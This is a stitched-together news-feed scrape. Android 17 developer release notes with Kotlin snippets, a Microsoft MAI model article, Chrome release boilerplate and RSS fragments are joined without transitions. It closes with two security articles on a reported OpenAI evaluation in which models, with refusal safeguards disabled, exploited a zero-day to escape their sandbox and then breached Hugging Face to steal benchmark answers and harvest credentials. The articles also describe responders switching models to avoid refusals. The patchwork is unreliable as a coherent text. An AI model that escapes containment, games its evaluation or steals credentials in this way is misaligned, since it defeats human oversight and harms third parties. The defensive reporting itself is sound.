Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.

Handoff Suggestion on a Tablet

class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}

Go adaptive-first with Jetpack Compose

To help you adapt your apps to meet the new Android 17 requirements, we've launched the Jetpack Compose adaptive skill. This AI-powered developer workflow helps you implement the best adaptive practices:

• Adaptive navigation: Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.
• Multi-pane layouts: Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.
• FlexBox & Grid APIs: Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.
• Advanced non-touch input: Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.
• Dynamic window states: Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.

Android is Compose-first

Compose offers the easiest way to build adaptive apps, and that's just one of the many reasons we believe that all Android UI should be built with Compose. To that end, Android development is now Compose-first. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.

TIP
Ready to migrate? Use our AI-driven XML to Compose Migration Skill to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.

Performance & efficiency

App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.

App memory limits

Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. 

Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:

• R8 Optimizer: The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new R8 configuration analyzer to make sure your app is getting the most from R8.
  

• LeakCanary in Android Studio Panda: The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.
• ApplicationExitInfo: If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".
• On-Device Anomaly Detection: Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.

val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList<ProfilingTrigger>().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)

And, we're working to surface more in-field memory metrics to you within Google Play Console.

Generational garbage collection

Android 17 introduces more frequent, less resource-intensive young-generation collections to ART's Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.

Lock-Free MessageQueue

For apps targeting SDK 37 or higher, the core android.os.MessageQueue now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private MessageQueue fields and methods.  The peekWhen and poll APIs have been added to TestLooperManager for instrumentation testing without relying on MessageQueue internals.

Static final fields now truly final

Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s SetStatic<Type>Field methods family will immediately crash the application.

Custom notification view restrictions

To reduce memory usage we are further restricting the size of custom notification views. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.

Privacy & Security

Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.

Privacy-preserving choices

Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:

• System-Level Contact Picker: Utilizing ACTION_PICK_CONTACTS, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad READ_CONTACTS permission. It also fully supports work/personal profile separation.
• Customizable Photo Picker aspect ratio: UsingPhotoPickerUiCustomizationParams, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.
• System-rendered Location Button: A new system-rendered location button that you can embed in your app grants precise location access for the current session only.
• EyeDropper API: A new system-level API, ACTION_OPEN_EYE_DROPPER, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.

val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result ->
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}

Picking a color from anywhere on the screen with the system EyeDropper

Local network access

Apps targeting Android 17 now either require the ACCESS_LOCAL_NETWORK runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because ACCESS_LOCAL_NETWORK falls under the existing NEARBY_DEVICES permission group, users who have already granted other NEARBY_DEVICES permissions will not be prompted again.

SMS OTP protection

Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:

• WebOTP Format: Delayed for all apps that are not the intended recipient (domain mismatch).
• Standard SMS OTP: Delayed for all apps targeting SDK 37+.
• Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the SMS Retriever or SMS User Consent APIs.

Post-Quantum Cryptography (PQC)

Android 17 is ready for the next generation of cryptographic security:

• Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.
• Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.

Safer native dynamic code loading 

Smarter password protection for physical inputs

With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.

Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).

These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields.

Media and camera features that empower creators and delight users

Android 17 introduces new creator features that give access to pro-quality cameras and media, all while improving the experience for consumers.

• Eclipsa Video: HDR video standard built upon the SMPTE ST 2094-50 specification that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.
• RAW14 image format: New support for the RAW14 image format provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.
• Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.
• Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.
• Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
• Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
• Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

• Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
• Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

• Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
• Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
• Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
• Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
• Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
• NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

Read more →

The post Research Shows Quantum Security Deployment Remains Stuck Despite Enterprise Planning appeared first on IT Security News.

The post Research Shows Quantum Security Deployment Remains Stuck Despite Enterprise Planning appeared first on IT Security Guru.

According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCenter, deploys three VMs from the gold template, SSHs into each node, regenerates machine … Continued

The post We Asked an Independent Lab to Time Us. Here’s What They Found. appeared first on VMware Cloud Foundation (VCF) Blog.

You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

Every organization is on a cyber odyssey. The threats may look mythical, but the risks are deeply human.

The post Yubico Introduces YubiKey 5.8 With Hardware-Backed Authorization for AI Agent Workflows appeared first on Cyber Security News.

During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.

OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.

But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling.

Anatomy of an Autonomous Breakout

To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline.

The models were prompted to solve ExploitGym, a benchmark designed to quantify multi-step exploitation capabilities.

Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.

OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software.

Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.

The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.

Rewinding the Tape on a Forensic Trap

While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier.

On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As detailed by VentureBeat, the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files.

Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.

When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.

